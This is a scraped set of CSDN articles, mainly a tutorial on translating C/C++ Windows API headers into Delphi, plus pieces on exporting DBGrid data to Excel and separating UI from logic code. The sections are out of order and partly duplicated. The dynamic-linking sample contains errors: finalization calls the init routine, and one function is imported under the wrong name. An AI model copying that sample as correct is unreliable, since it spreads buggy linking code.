Note: In Delphi 1.0, substitute WinProcs.pas and WinTypes.pas for Windows.pas, since these two units include for Delphi 16-bit what Delphi 32-bit defines in Windows.pas. In Delphi 2 these two files are also aliased to Windows.pas in Delphi 32-bit versions for backward compatibility. Some header files contain source which is not directly translatable into Pascal, but the header file's impact on compilation must be incorporated into the translated code. For example, PSHPACK?.H contains compiler directives that are not directly translatable to Delphi; PSHPACK4.H directs the compiler to use 4-byte packing. More about this later.

Back to contents


CSDN_文档中心_如何将C/C++程序转译成Delphi(十)

3.6.3. Packed Records (Alignment)

If a record is packed (aligned) then the starting byte of a field (and consequently also of the record) is aligned with the first byte of a word (16-bit or 2-byte align) or of a DWord (32-bit or 4-byte alignment). This significantly speeds CPU access to the fields, but consumes more memory.

The older APIs (from the 16-bit world) usually use packed structures (one or two byte alignment). It is the default in 16-bit Delphi: there is no difference under Delphi 1 if you write record or packed record.

Four-byte alignment is the default under Delphi32, although some APIs do use packed records under Win32.

It's important to know which type of alignment is used in an API, because the size of a record depends on the alignment.

The following example explains the difference between the coding of 2-byte and 4-byte alignment:

TmyRecNotPacked = Record

  FieldA : Word;

  FieldB: LongInt;

  FieldC: Byte;

End;

TmyRecPacked = packed Record

  FieldA : Word;

  FieldB: LongInt;

  FieldC: Byte;

End;
Offset | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11
TMyRecUnPacked | A | A | . | . | B | B | B | B | C | . | . | .
TMyRecPacked | A | A | B | B | B | B | C |  |  |  |  |

Now, how to determine whether packing is required or not. In the Microsoft APIs, two methods are used. One is clear and simple:

#pragma pack(n)

Use the packed keyword if n is 1 or 2, but don't use packed if n is 4.

However, Microsoft uses #include <filename> to control packing by putting the packing pragma in the include file. The following include files are used to control the packing method:

#include | Means | Packed required
pshpack1.h | #pragma pack (1) | Yes
pshpack2.h | #pragma pack (2) | Yes
pshpack3.h | #pragma pack (3) | Yes
pshpack4.h | #pragma pack (4) | No
Poppack.h | Back to previous packing | ?

If a header file contains the following line

#include <pshpack1.h>

you can interpret it as #pragma pack (1) and use the packed keywords in records from now until you come to another include of pshpack?.h or to an include of poppack.h.

Four-byte alignment (non-packed records) is the default under Delphi32. But what if the user changes the compiler options and switches off 4-byte alignment? If you need to ensure that 4-byte alignment is enabled you must insert the following line at the top of the unit:

{$ALIGN ON}

A unit header must look at least like this:

Unit MyUnit;

  {$ALIGN ON}

You can use the{$ALIGN} directive instead of explicitly using the packed keyword, too, but I prefer explicit packing because it overrides {$ALIGN ON} and makes things quite specific.

NOTE: A field whose length is an odd number of bytes presents a problem if you encounter #pragma pack(2) and use the packed keyword for translating it. The field will be close packed on a byte boundary when it should be packed on a word boundary. A solution is being sought for handling this situation.

Back to contents


CSDN_文档中心_如何将C/C++程序转译成Delphi(十二)

###ToDo

Back to contents

6. Functions

6.1. Basics

Let's use the following C-declaration as an example of declaring a function:

WINADVAPI

BOOL

WINAPI

ControlService(

    SC_HANDLE           hService,

    DWORD               dwControl,

    LPSERVICE_STATUS    lpServiceStatus

    );

[Options] ReturnValueType [Options] FunctionName ( [ParameterList] )

ReturnValueType: | Specifies the type of the return value of the function. In the example above the type of the return value is BOOL. If the function does not return a value the keyword VOID is used and the translation in Delphi is a Procedure. Please note, that the type identifier can also be "hidden" in an identifier defined using #define.
Options: | Options can be a token specifying the calling convention and/or other keywords telling the compiler how to handle the function in question. The most important item is the calling convention. In the Windows-API header files, the calling convention is usually "hidden" in an identifier declared using #define, so you have to look what is defined. The example above uses the WINAPI symbol which is declared as __stdcall. This is necessary for the translation, too. Every Options item must be assessed for impact and discarded or implemented.
FunctionName: | Specifies the name of the function
ParameterList: | List of parameters passed to the function separated with ",". Parameters are declared via a type identifier or via a type identifier + parameter name combination.

Back to contents

6.2. Calling Conventions

Referring to the example:

WINADVAPI

BOOL

WINAPI

ControlService(

    SC_HANDLE           hService,

    DWORD               dwControl,

    LPSERVICE_STATUS    lpServiceStatus

    );

The type of the return value is BOOL. Now let's have a look at the definition of WINAPI. WINAPI is defined in windef.h the following way:

#define WINAPI __stdcall

The __stdcall keyword tells the C-compiler to use the standard-call calling convention for the function, so we have to declare the function using stdcall, too, since the default calling convention is Register in Delphi.

The function accepts three parameters. The first is a parameter with type SC_HANDLE, the second is a DWORD and the third is a pointer to a PServiceStatus structure.

Here is a Delphi translation of the example above:

Function ControlService (hService: SC_Handle;

                        dwControl: DWORD;

                        lpServiceStatus: PServiceStatus): Bool; stdcall;

Notes:

  1. SC_Handle is defined in WinSvc.pas.
  2. The C variable hService appears to conflict somewhat with the Delphi convention that employs H as the initial letter for a handle type. Whilst it seems desirable to use an alternative (hndService:HControlService, for example), Delphi will accept duplicate names in a parameter list (e.g. hwnd: HWND). Since Borland does it and it works, I would recommend staying with that convention.

Let's have a look at another function declaration:

ULONG (FAR PASCAL MAPISENDDOCUMENTS)(

    ULONG ulUIParam,

    LPSTR lpszDelimChar,

    LPSTR lpszFilePaths,

    LPSTR lpszFileNames,

    ULONG ulReserved

);

Well, this declaration contains a trap. The keyword PASCAL has been used to specify the Pascal-calling convention, which was usually used in the 16bit-Windows. But not under Win32. Look at the following line in the windef.h file:

#define PASCAL __stdcall

The windef.h header declares PASCAL as __stdcall, which specifes the stdcall calling convention, so you have to use stdcall calling convention in this case, too.

Notes

  1. It is very important to trace through all the #include files for any #defines which may affect the translation.
  2. The FAR keyword can be ignored in Delphi.

Back to contents


CSDN_文档中心_如何将C/C++程序转译成Delphi(十三)

7. Linking

There are two ways to link a DLL and import a function. Static linking is very easy and the recommended way if the DLL is certain to be available on the client's machine. If the DLL is optional it is better to use dynamic linking (runtime-linking) to make sure that the application does not fail just because of a missing (possibly unimportant) DLL.

Static linking encodes the calling of the library DLL into the code as a direct call with no checking for inability to connect to the library. Dynamic linking calls the library DLL during the application's run-time and has the capability to handle problems with connection to the library. Dynamic linking can occur at startup, or during the program run-time as the library is needed by the user.

Borland usually uses static linking, but a few API translations use dynamic linking. One example is the translation of SMAPI (MAPI.pas).

Let's look at the two ways of linking a DLL and importing a function.

Back to contents

7.1. Static Linking

If using static linking, simply declare the function prototype in the interface section and the implementation section the following way:

INTERFACE

{Function|Procedure} FunctionName [FunctionDeclaration;]

IMPLEMENTATION

{Function|Procedure} FunctionName external DLLName [name 'FunctionExportName'];

The translation of a function prototype was in the previous section. What about importing the function? It's not obligatory to include the parameter part of the function in the implementation section, but you can if you want. As an example to explain how to import a function, let's use the OpenEvent function from the kernel32.dll.

There are two implementations of the function, one with unicode-support (16bit-WideChar) and one with ansi-character (8bit char) support.

The C-declaration is

WINBASEAPI

HANDLE

WINAPI

OpenEventA(
    DWORD dwDesiredAccess,
    BOOL bInheritHandle,
    LPCSTR lpName
    );
WINBASEAPI
HANDLE
WINAPI
OpenEventW(
   DWORD dwDesiredAccess,
    BOOL bInheritHandle,
    LPCWSTR lpName
    );

#ifdef UNICODE
#define OpenEvent  OpenEventW
#else
#define OpenEvent  OpenEventA
#endif // !UNICODE

Three function names are declared: OpenEventA for the ansi-character version of the function, OpenEventW for the wide-character (unicode) version, and OpenEvent. OpenEvent uses the widechar version of the function (OpenEventW ) if the UNICODE symbol is declared or the ansichar-version OpenEventA if the UNICODE symbol is not declared.

INTERFACE
{...}

function OpenEventA (dwDesiredAccess: DWORD;
                    bInheritHandle: BOOL;
                     lpName: PAnsiChar): THandle; stdcall;

function OpenEventW (dwDesiredAccess: DWORD;
                    bInheritHandle: BOOL;
                     lpName: PWideChar): THandle; stdcall;

{$IFDEF UNICODE}

function OpenEvent (dwDesiredAccess: DWORD;
                      bInheritHandle: BOOL;
                     lpName: PWideChar): THandle; stdcall;

{$ELSE}

function OpenEvent (dwDesiredAccess: DWORD;
                    bInheritHandle: BOOL;
                    lpName: PChar): THandle; stdcall;

{$ENDIF}

{...}

IMPLEMENTATION

Const
  kernel32 = 'kernel32.dll';

{...}

function OpenEventA; external kernel32 name 'OpenEventA';

function OpenEventW; external kernel32 name 'OpenEventW';

{$IFDEF UNICODE}

function OpenEvent; external kernel32 name 'OpenEventW';
{$ELSE}
function OpenEvent; external kernel32 name 'OpenEventA';
{$ENDIF}
{...}

Back to contents


CSDN_文档中心_如何将C/C++程序转译成Delphi(十四)

7.2. Dynamic Linking

Dynamic Linking is used to link the DLL at runtime.

Handling Static and Dynamic Linking in the Jedi Environment

Because both static and dynamic linking have their strengths, we must be prepared to support both techniques in the Jedi units. However, static linking is the default.

To support multiple methods compiler symbols are used. The two compiler symbols that symbolize dynamic linking are as follows:

If Xxxx_DYNLINK is defined the DLL must be linked dynamically at startup (in the initialization section).

If Xxxx_LINKONREQUEST is defined the DLL is linked dynamically, not at startup, but as needed by the user. Xxxx is the name of the API, e.g. MAPI_DYNLINK or MAPI_LINKONREQUEST.

If neither symbol is defined, static linking is used.

Each import unit should implement the following functions:

Function XxxxInitAPI: Boolean;

Procedure XxxxFreeAPI;

Function XxxxCheckAPI: Boolean;

The functions XxxxInitAPI and XxxxFreeAPI are available for the user if the symbol Xxxx_LINKONREQUEST is defined. The User can call this function to load or free the DLL. XxxxInitAPI returns TRUE, if the DLL has been loaded successfully.

If Xxxx_DYNLINK is defined, but not Xxxx_LINKONREQUEST, these functions are used internally to load or unload the DLL in the initialization section, but they are not available for the user.

The function XxxxCheckAPI returnes TRUE if the API is available, so the return value is TRUE if the DLL has previously been loaded successfully using XxxxInitAPI. When static linking is used, the return value is always TRUE.

Here is an example of how to handle the symbols in a translation:

unit apisample;
interface
USES Windows,
     JediUtil;
// There are two conditional defines. One to use dynamic
// run time linking with linking on startup, the other
// to link upon request. In fact the only difference is
// that the library is not loaded in the initialization
// section if the upon-request symbol is defined.
// Both symbols start with the name of the api, e.g. TAPI.
// In this example it is APISAMPLE.
// APISAMPLE_DYNLINK signals that the API should be linked
// via LoadLibrary and GetProcAddress at startup.
// APISAMPLE_LINKONREQUEST signals that the libary should
// not be linked at startup, but via an initialization procedure.
// Since most of the stuff is the same for both we use
// APISAMPLE_DYNLINK as common symbol.
{$IFDEF APISAMPLE_LINKONREQUEST}
  {$DEFINE APISAMPLE_DYNLINK}
{$ENDIF}
{$IFDEF APISAMPLE_DYNLINK}
// Define function types and variables for dynamic linking
TYPE
  TApiSampleFunc1 = Function (lParam: LongInt): LongInt; stdcall;
  TApiSampleFunc2 = Function (wParam: Word): LongInt; stdcall;

VAR
  ApiSampleFunc1 : TApiSampleFunc1 = NIL;
  ApiSampleFunc2 : TApiSampleFunc2 = NIL;
{$ELSE}
// We don't use dynamic linking so we implement static linking
Function ApiSampleFunc1 (lParam: LongInt): LongInt; stdcall;
Function ApiSampleFunc2 (wParam: Word): LongInt; stdcall;
{$ENDIF}
//
// Linking Control functions
//
// The XxxxInitAPI function follows <ApiName>InitAPI
// naming convention and is only visible if
// Xxxxx_LINKONREQUEST is defined. The same is true
// for the XxxxxFreeAPI function which frees the
// library
{$IFDEF APISAMPLE_LINKONREQUEST}

Function ApiSampleInitAPI: Boolean;
Procedure ApiSampleFreeAPI;
{$ENDIF}

// The XxxxxCheckAPI function returns true if
// the API is available. With static linking
// the function always returns TRUE
Function ApiSampleCheckAPI: Boolean;
implementation
CONST APISampleDLL = 'APISAMPLE.DLL'; // Name of the DLL
{$IFDEF APISAMPLE_DYNLINK}
VAR hDLL : THandle = 0; // Handle to the lib. Only req. for
                          dyn.link.
Function ApiSampleInitAPI: Boolean;
begin
  Result := FALSE;
  // Load library if necessary
  If hDLL = 0 then hDLL := LoadLibrary (APISampleDLL);
  If JediCheckInstanceHandle (hDLL) then
 begin
    // Set pointers to functions
    @ApiSampleFunc1 := GetProcAddress (hDLL, 'ApiSampleFunc1');
  @ApiSampleFunc2 := GetProcAddress (hDLL, 'ApiSampleFunc2');
    // Everything ok, return true
    Result := TRUE;
  end
end;
Procedure ApiSampleFreeAPI;
begin
  If hDLL <> 0 then
    FreeLibrary (hDLL);
  hDLL := 0;
end;
{$ELSE}
Function ApiSampleFunc1; external APISampleDLL name 'ApiSampleFunc1';
Function ApiSampleFunc2; external APISampleDLL name 'ApiSampleFunc1';
{$ENDIF}
Function ApiSampleCheckAPI: Boolean;
begin
  {$IFDEF APISAMPLE_DYNLINK}
  Result := hDLL <> 0;
  {$ELSE}
  Result := TRUE;
  {$ENDIF}
end;
initialization
begin
  {$IFDEF APISAMPLE_DYNLINK}
    {$IFNDEF APISAMPLE_LINKONREQUEST}
  // Call Init if dynamic linking and not link on request
  ApiSampleInitAPI
    {$ENDIF}
  {$ENDIF}
end;
finalization
begin
 {$IFDEF APISAMPLE_DYNLINK}
  ApiSampleInitAPI;  // Call free if dynamic linking
  {$ENDIF}
end;
end.

You can use the the JediCheckInstanceHandle function from the common Jedi-support unit to check an instance handle if necessary.

Back to contents

8. The Jedi Common Support Unit


CSDN_文档中心_如何将C/C++程序转译成Delphi(十五)

8. The Jedi Common Support Unit

unit JediUtil;

{==========================================================}

{ Jedi Common Support Unit                                 }

{==========================================================}

interface

USES WinTypes,

     WinProcs;

{----------------------------------------------------------}

{ Function JediCheckInstanceHandle                         }

{                                                          }

{ Parameter:                                               }

{                                                          }

{   hInst: Instance Handle                                 }

{                                                          }

{ Returns-Value:                                           }

{   TRUE if the handle is valid, FALSE if not              }

{----------------------------------------------------------}

Function JediCheckInstanceHandle (hInst: THandle): Boolean;

implementation

Function JediCheckInstanceHandle (hInst: THandle): Boolean;

begin

  {$IFNDEF WIN32}

  Result := hInst > HINSTANCE_ERROR;

  {$ELSE}

  Result := hInst <> 0;

  {$ENDIF}

end;

end.

终于贴完了！！


CSDN_文档中心_如何将C/C++程序转译成Delphi(十一)

In C it's possible to define macros. Macros are not available in Delphi, so functions must be used to translate C-macros. In most cases it's easier to translate a macro based on the information about it from the documentation than trying to translate the code directly.

One example of a macro:

#define PRIMARYLANGID(lgid) ((WORD )(lgid) & 0x03ff)

Here, quite clearly, the macro accepts integers. A valid translation of this macro is

Function PRIMARYLANGID (lgid: DWord): DWord;

Begin

  Result := lgid and $03FF

End;

The following macro accepts any datatype as parameter:

#define max(a,b)            (((a) > (b)) ? (a) : (b))

It compares the values of parameter a with parameter b and returns the higher value. So that our function can pass any datatype, we can use variants.

Function Max (A, B: Variant): Variant;

Begin

  If A > B then

    Result := A

  else

    Result := B

End;

I do recommend implementing the Delphi translation on the basis of the macro's documentation.

Sometimes it is not possible to translate macros so that there is a 1:1 correspondence between the C code and the Delphi translation.

For example, some header files use macros in #define statements for declaring constants.

Here is an example from the clusapi header file.

#define CLUSPROP_SYNTAX_VALUE( type, format ) ((DWORD) ((type << 16) | format))

The ensuing declarations use a macro named CLUSTER_PROPERTY_SYNTAX to calculate the values of the constants:
typedef enum CLUSTER_PROPERTY_SYNTAX {

  CLUSPROP_SYNTAX_ENDMARK = CLUSPROP_SYNTAX_VALUE( CLUSPROP_TYPE_ENDMARK, CLUSPROP_FORMAT_UNKNOWN ),

    CLUSPROP_SYNTAX_NAME  = CLUSPROP_SYNTAX_VALUE( CLUSPROP_TYPE_NAME, CLUSPROP_FORMAT_SZ ),

    CLUSPROP_SYNTAX_RESCLASS = CLUSPROP_SYNTAX_VALUE( CLUSPROP_TYPE_RESCLASS, CLUSPROP_FORMAT_DWORD ),

We cannot do it like this in Delphi and, besides, Delphi does not allow the value of an enumeration entry to be assigned. The macro must be resolved in order to do the translation to Delphi.

We can translate the #define statement into the following Delphi function:
Function CLUSPROP_SYNTAX_VALUE (dwType: DWORD; dwFormat: DWORD): DWORD;

Begin

  Result := (dwType shl 16) or dwFormat;

End;

However, function calls are not possible in constant declarations. To resolve that, we declare the constants as follows, without wrapping them together as the C macro抯 enumeration has done:
CONST

  CLUSPROP_SYNTAX_ENDMARK = CLUSPROP_TYPE_ENDMARK shl 16 or CLUSPROP_FORMAT_UNKNOWN;

  CLUSPROP_SYNTAX_NAME  = CLUSPROP_TYPE_NAME shl 16 or CLUSPROP_FORMAT_SZ;

  CLUSPROP_SYNTAX_RESCLASS = CLUSPROP_TYPE_RESCLASS shl 16 or CLUSPROP_FORMAT_DWORD;

Actually, this is a case where I would recommend translating the macro as a whole into a function, as it might be useful to make it available to applications.

Back to contents


CSDN_文档中心_如何将C/C++程序转译成Delphi(四)

2.3. #defines as constants

C and C++ use #defines in several ways. In a C header file #define can be used

  • for declaring a constant
  • for declaring a symbol for conditional compilation
  • for macros

This chapter describes the translation of #define into Delphi constants.

The format for declaring constants in C is:

#define NameOfConstant Value

For example:

#define TIME_ZONE_ID_UNKNOWN 0

#define TIME_ZONE_ID_STANDARD 1

#define TIME_ZONE_ID_DAYLIGHT 2

The translation in Delphi is:

CONST

  TIME_ZONE_ID_UNKNOWN = 0;

  TIME_ZONE_ID_STANDARD = 1;

  TIME_ZONE_ID_DAYLIGHT = 2;

Back to contents

2.3.1. Hexadecimal values

C uses the prefix 0x to specify a hexadecimal value. For example, the C declaration

#define MY_CONSTANT 0xFF

translates to Delphi as

CONST

  MY_CONSTANT = $FF;

Back to contents


CSDN_文档中心_如何将C/C++程序转译成Delphi(五)

1. Anatomy of a C Header

Back to contents

## to do

2. Conversion Basics

2.1. Naming

The naming in converted header files should follow Borland's style as far as possible. This means, keep the original names, but make them more Delphi-like.

How should the C names be translated into Delphi?

The C-programmer usually uses upper case letters for type identifiers, e.g. MY_TYPE. In Delphi, a type identifier has a T-prefix followed by the name of the type in mixed (proper) case. Underscores are not used. The Delphi-like translation of the C type identifier MY_TYPE is TMyType.

In C older header files the pointer-type is named LPMY_TYPE. In translation to Delphi it should be PMyType to conform with Borland's style.

Constants are usually named identically to the original name, including upper case letters and underscores.

A few examples:

C Delphi-Translation

typedef struct _IMAGE_FILE_HEADER {
  WORD Machine;
  WORD NumberOfSections;
  DWORD TimeDateStamp;
  DWORD PointerToSymbolTable;
  DWORD NumberOfSymbols;
  WORD SizeOfOptionalHeader;
  WORD Characteristics;
} IMAGE_FILE_HEADER,
*PIMAGE_FILE_HEADER; 		type
  PImageFileHeader = ^TImageFileHeader;
  TImageFileHeader = packed record
    Machine: Word;
    NumberOfSections: Word;
    TimeDateStamp: DWORD;
    PointerToSymbolTable: DWORD;
    NumberOfSymbols: DWORD;
    SizeOfOptionalHeader: Word;
    Characteristics: Word;
  end;

#define LANG_NEUTRAL 0x00
#define LANG_AFRIKAANS 0x36
#define LANG_ALBANIAN 0x1C
#define LANG_ARABIC 0x01
#define LANG_BASQUE 0x2D
#define LANG_BELARUSIAN 0x23
#define LANG_BULGARIAN 0x02
#define LANG_CATALAN 0x03
#define LANG_CHINESE 0x04 		CONST
  LANG_NEUTRAL = $00;
  LANG_AFRIKAANS = $36;
  LANG_ALBANIAN = $1C;
  LANG_ARABIC = $01;
  LANG_BASQUE = $2D;
  LANG_BELARUSIAN = $23;
  LANG_BULGARIAN = $02;
  LANG_CATALAN = $03;
  LANG_CHINESE = $04;

Back to contents

2.2. Unit dependencies

C and C++ use #include to include header files in another header file or a source file. Delphi refers to units (in the USES clause) instead of header files.

For example

  • D3D.H includes D3DTYPES.H, D3DCAPS.H
  • D3DTYPES.H includes DDRAW.H
  • One unit contains one translation of a header file, so incorporation of D3DTYPES.H and D3DCAPS.H is required when translating D3D.H.

Thus the translation of D3D.H (D3D.PAS) needs D3DTYPES.PAS and D3DCAPS.PAS in uses.

In Windows.pas Borland has already done a lot of work for us. Borland's windows unit contains most of the basic Windows datatypes, so any translated unit needing Windows datatypes needs the Windows unit in its uses clause.

Note: In Delphi 1.0, substitute WinProcs.pas and WinTypes.pas for Windows.pas, since these two units include for Delphi 16-bit what Delphi 32-bit defines in Windows.pas. In Delphi 2 these two files are also aliased to Windows.pas in Delphi 32-bit versions for backward compatibility. Some header files contain source which is not directly translatable into Pascal, but the header file's impact on compilation must be incorporated into the translated code. For example, PSHPACK?.H contains compiler directives that are not directly translatable to Delphi; PSHPACK4.H directs the compiler to use 4-byte packing. More about this later.

Back to contents

2.3. #defines as constants

C and C++ use #defines in several ways. In a C header file #define can be used

  • for declaring a constant
  • for declaring a symbol for conditional compilation
  • for macros

This chapter describes the translation of #define into Delphi constants.

The format for declaring constants in C is:

#define NameOfConstant Value

For example:

#define TIME_ZONE_ID_UNKNOWN 0

#define TIME_ZONE_ID_STANDARD 1

#define TIME_ZONE_ID_DAYLIGHT 2

The translation in Delphi is:

CONST

  TIME_ZONE_ID_UNKNOWN = 0;

  TIME_ZONE_ID_STANDARD = 1;

  TIME_ZONE_ID_DAYLIGHT = 2;

Back to contents

2.3.1. Hexadecimal values

C uses the prefix 0x to specify a hexadecimal value. For example, the C declaration

#define MY_CONSTANT 0xFF

translates to Delphi as

CONST

  MY_CONSTANT = $FF;

Back to contents

3. Data Types

3.1. Basic Data Types

Here is a list of C data types and the equivalents in Delphi:

C | Delphi
UNSIGNED LONG | Dword (Longint)
UNSIGNED SHORT | word
INT | integer
UNSIGNED CHAR | byte, char (Depending on usage)

Back to contents

3.2. Windows API Common Types

The Windows API defines some common types for API usage. It is recommended that the same names be used in translations as far as possible. Windows.pas declares most of these types, some of which are listed below:

API Type declaration | Type used in Delphi Translation | Type Specification
ULONG | ULong | DWord
PULONG | PULong | ^DWord
USHORT | UShort | SmallInt
PUSHORT | PUShort | ^SmallInt
UCHAR | UChar | Byte
PUCHAR | PUChar | ^Byte
DWORD | DWord | DWord
PDWORD, LPDWORD | PDWord | ^DWord
BOOL | Bool | Bool
PBOOL, LPBOOL | PBool | ^Bool
BYTE | Byte | Byte
PBYTE, LPBYTE | PByte | ^Byte
WORD | Word | Word
PWORD, LPWORD | Pword | ^Word
INT | Integer | Integer
PINT, LPINT | PInteger | ^Integer
LPVOID | Pointer | Untyped Pointer
UINT | UInt | Integer
PUINT, LPUINT | PUInt | ^Integer
WCHAR | WChar | WideChar
PWCHAR, LPWCHAR, PCWCH, LPCWCH, NWPSTR, | PWChar | ^WideChar
PWSTR, LPWSTR | LPWStr | ^WideChar
PCWSTR, LPCWSTR | LPCWStr | ^WideChar
PCH, LPCH | PChar | ^Char
PSTR, LPSTR | LPStr | ^Char
PCSTR, LPCSTR | LPCStr | ^Char
HANDLE | THandle | DWord
PHANDLE, LPHANDLE | PHandle | ^DWord

Back to contents

3.3. Arrays - Two Methods

Method 1:

In C the first index of an array (or vector) is 0 and the declaration specifies the number of elements (not the last index), e.g.

DWORD MyType[4]

Delphi declares arrays as the range of elements, so the same declaration would be

MyType = Array [0..3] of DWord;

Method 2:

Alternatively, the number of elements may be specified by a constant, e.g

#define NumberOfElements 5

//...

typedef struct _MyRec {

  DWORD MyArray[NumberOfElements]

} MyRec, *PMyRec

The same declaration in Delphi is

Const

  NumberOfElements = 5

  //...

Type

  TmyArray = Record

    MyArray : Array [0..NumberOfElements-1] of DWord;

  end;

Remember, the range of the array is 0..NumberOfElements-1, but not0..NumberOfElements.

Back to contents


CSDN_文档中心_如何将C/C++程序转译成Delphi

Conversion Tutorial

Draft 4
27 JANUARY, 1998
by Andreas Prucha

Contents

  1. Anatomy of a C Header
  2. Conversion Basics
    1. Naming
    2. Unit dependencies
    3. #defines as constants
      1. Hexadecimal values
  3. Datatypes
    1. Basic Data Types
    2. Windows API Common Types
    3. Arrays
    4. Strings
    5. Enumerations
    6. Structures, Records
      1. Simple Structures
      2. Unions in Structures
      3. Packed Records
  4. Macros
  5. Conditionals
  6. Functions
    1. Basics
    2. Calling Conventions
  7. Linking
    1. Static Linking
    2. Dynamic Linking
  8. JEDI Common Support Unit
后面还有^_^


CSDN_文档中心_如何将几个DBGRID里的内容导入同一个EXCEL表中？

前言：

    在软件实际制作中，为节省开发成本和开发周期，一些软件人员通常会吧DBGrid中的数据直接导出到Excel表中，而先前能看到的函数仅仅只能在WorkBook的一个Sheet中导入数据，不支持多Sheet！。

单元应用：

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, DB, DBTables, Grids, DBGrids, ActiveX, ComObj,
Excel2000, OleServer;

测试环境：

    OS：Win2k Pro；Excel2k；Delphi6.0

源程序：

{
功能描述：把DBGrid输出到Excel表格（支持多Sheet）
设计：CoolSlob
日期：2002-10-23
支持：CoolSlob@163.com
调用格式：CopyDbDataToExcel([DBGrid1, DBGrid2]);
}
procedure CopyDbDataToExcel(Args: array of const);
var
iCount, jCount: Integer;
XLApp: Variant;
Sheet: Variant;
I: Integer;
begin
Screen.Cursor := crHourGlass;
if not VarIsEmpty(XLApp) then
begin
XLApp.DisplayAlerts := False;
XLApp.Quit;
VarClear(XLApp);
end;

try
XLApp := CreateOleObject('Excel.Application');
except
Screen.Cursor := crDefault;
Exit;
end;

XLApp.WorkBooks.Add;
XLApp.SheetsInNewWorkbook := High(Args) + 1;

for I := Low(Args) to High(Args) do
begin
XLApp.WorkBooks[1].WorkSheets[I+1].Name := TDBGrid(Args[I].VObject).Name;
Sheet := XLApp.Workbooks[1].WorkSheets[TDBGrid(Args[I].VObject).Name];

if not TDBGrid(Args[I].VObject).DataSource.DataSet.Active then
begin
Screen.Cursor := crDefault;
Exit;
end;

TDBGrid(Args[I].VObject).DataSource.DataSet.first;
for iCount := 0 to TDBGrid(Args[I].VObject).Columns.Count - 1 do
Sheet.Cells[1, iCount + 1] :=
TDBGrid(Args[I].VObject).Columns.Items[iCount].Title.Caption;

jCount := 1;
while not TDBGrid(Args[I].VObject).DataSource.DataSet.Eof do
begin
for iCount := 0 to TDBGrid(Args[I].VObject).Columns.Count - 1 do
Sheet.Cells[jCount + 1, iCount + 1] :=
TDBGrid(Args[I].VObject).Columns.Items[iCount].Field.AsString;

Inc(jCount);
TDBGrid(Args[I].VObject).DataSource.DataSet.Next;
end;
end;

XlApp.Visible := True;
Screen.Cursor := crDefault;
end;


CSDN_文档中心_如何将界面代码和功能代码分离（基于Delphi/VCL）

东日文档

很多朋友看了上次我写的“创建良好设计的代码（基于Delphi/VCL）”后，对我说感觉上可以接受其中的观点，但似乎说得太简单，不够具体；也有的朋友对其中的一个小例子有些异议。因此便有了此文。

上次，我举的例子是这样的：假设要从某处获得一个字符串列表，然后显示于 TListBox 中，我所推崇的代码是：
ObjectXXX := TObjectXXX.Create;
ListBox1.Items := ObjectXXX.GetStringList;
ObjectXXX.Free;
的确，我承认，单纯从这三行代码来看，似乎有了“滥用对象”之嫌。也许是例子过于简单，给人的感觉是TObjectXXX只有GetStringList这一个public成员函数，如果真的这样的话，那可真是“滥用对象”了。类是对对象的抽象，而对象是由状态和操作（也就是数据和对数据的操作）的集合组成。因此，没有状态的对象不是对象！没有私有数据成员的类的设计是失败的设计（那不是类，而是接口了）。

好，下面我就举一个详细的例子来说明，如何将界面代码和功能代码分离。
假设我要做一个简单的个人通讯录管理软件，很显然，整个软件分为两部分：一部分是面象用户的，也就是所谓界面部分，我可以提供四个按钮（分别为“添加”、“删除”、“修改”、“查找”）和一个编辑框（显示通讯录信息和接受用户输入）用于和用户交互；另一部分是功能化的，也就是软件内部的对于通讯录的存取操作。
于是，有了一个TAddrBook类，它是对功能化部分的抽象。
TAddrBook = class
private
//一些私有成员
public
constructor Create;
destructor Destroy;override;
GetCount: Integer;
FindRecord(strString): Integer;
GetRecord(nIndex:Integer): String;
SetRecord(nIndex:integer; strRec:String): Boolean;
AddRecord(strRec:String): Boolean;
DelRecord(nIndex): Boolean;
//其它共有成员函数
end;
私有成员之所以无法确定，主要是取决于这个类的实现。

如此，可以将对通讯录的存取操作的逻辑封装。而界面部分的代码不会涉及到这些存取逻辑。界面部分代码如下：
var
Form1: TForm1;
AddrBook: TAddrBook;
nCurRec: Integer;

implementation

procedure TForm1.FormCreate(Sender: TObject);
begin
AddrBook := TAddrBook.Create;
nCurRec := AddrBook.GetCount;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
AddrBook.Free;
end;

//添加按钮
procedure TForm1.Button1Click(Sender: TObject);
begin
if not AddrBook.AddRecord(memo1.Text) then
ShowMessage("error");
end;

//删除按钮
procedure TForm1.Button2Click(Sender: TObject);
begin
if not AddrBook.DelRecord(nCurRec) then
ShowMessage("error");
end;

//修改按钮
procedure TForm1.Button3Click(Sender: TObject);
begin
if not AddrBook.SetRecord(nCurRec, memo1.Text) then
ShowMessage("error");
end;

//查找按钮
procedure TForm1.Button4Click(Sender: TObject);
begin
memo1.Text := AddrBook.GetRecord(AddrBook.FindRecord(memo1.Text));
end;

以上界面部分的代码，不涉及任何存取逻辑，每个模块的代码简单，易懂，便于维护。而实际上，该通讯录是使用数据库保存还是用文本文件来保存，界面代码都不知道；使用数据库的话，是通过ODBC还是ADO还是BDE访问数据库，界面代码也不知道。实际上，这些存取逻辑的东西取决于TAddrBook类的实现，TAddrBook类的实现可以单独的放在一个.pas文件中，对TAddrBook类的实现的任何更改，都不会影响界面部分。维护代码的时候，将更改局限于某一个模块中的做法是非常明智的。

Nicrosoft(nicrosoft@sunistudio.com) 于 2001.7.14


CSDN_文档中心_如何控制其他程序窗体上的窗口控件：上

如何控制其他程序窗体上的窗口控件：上

首先申明:我是菜鸟,我只不过想把困绕了我很长时间的问题的解决方案发表出来，免得以后我又忘记,同时给还不知道这些小知识的同僚一些帮助。各位不要笑我的浅薄。同时为了表示我的低级，我会很罗嗦的讲一些基本的东西，这些都是我的理解,很不准确。

用我的方法来控制其他程序窗体上的窗口控件，必须先了解什么是回调函数。我的理解是这样的：

回调函数写出来不是自己的程序去调用的，反而是让其他的东西去调用，比如windows操作系统，比如其他的程序等等之类的。但是什么时候被调用却不知道了。回调函数一般是按照调用者的要求定义好参数和返回值的类型，你向调用者提供你的回调函数的入口地址，然后调用者有什么事件发生的时候就可以随时按照你提供的地址调用这个函数通知你，并按照预先规定好的形式传递参数。所以很多人打比方，说回调函数还真有点像您随身带的BP机：告诉别人号码，在它有事情时Call您！

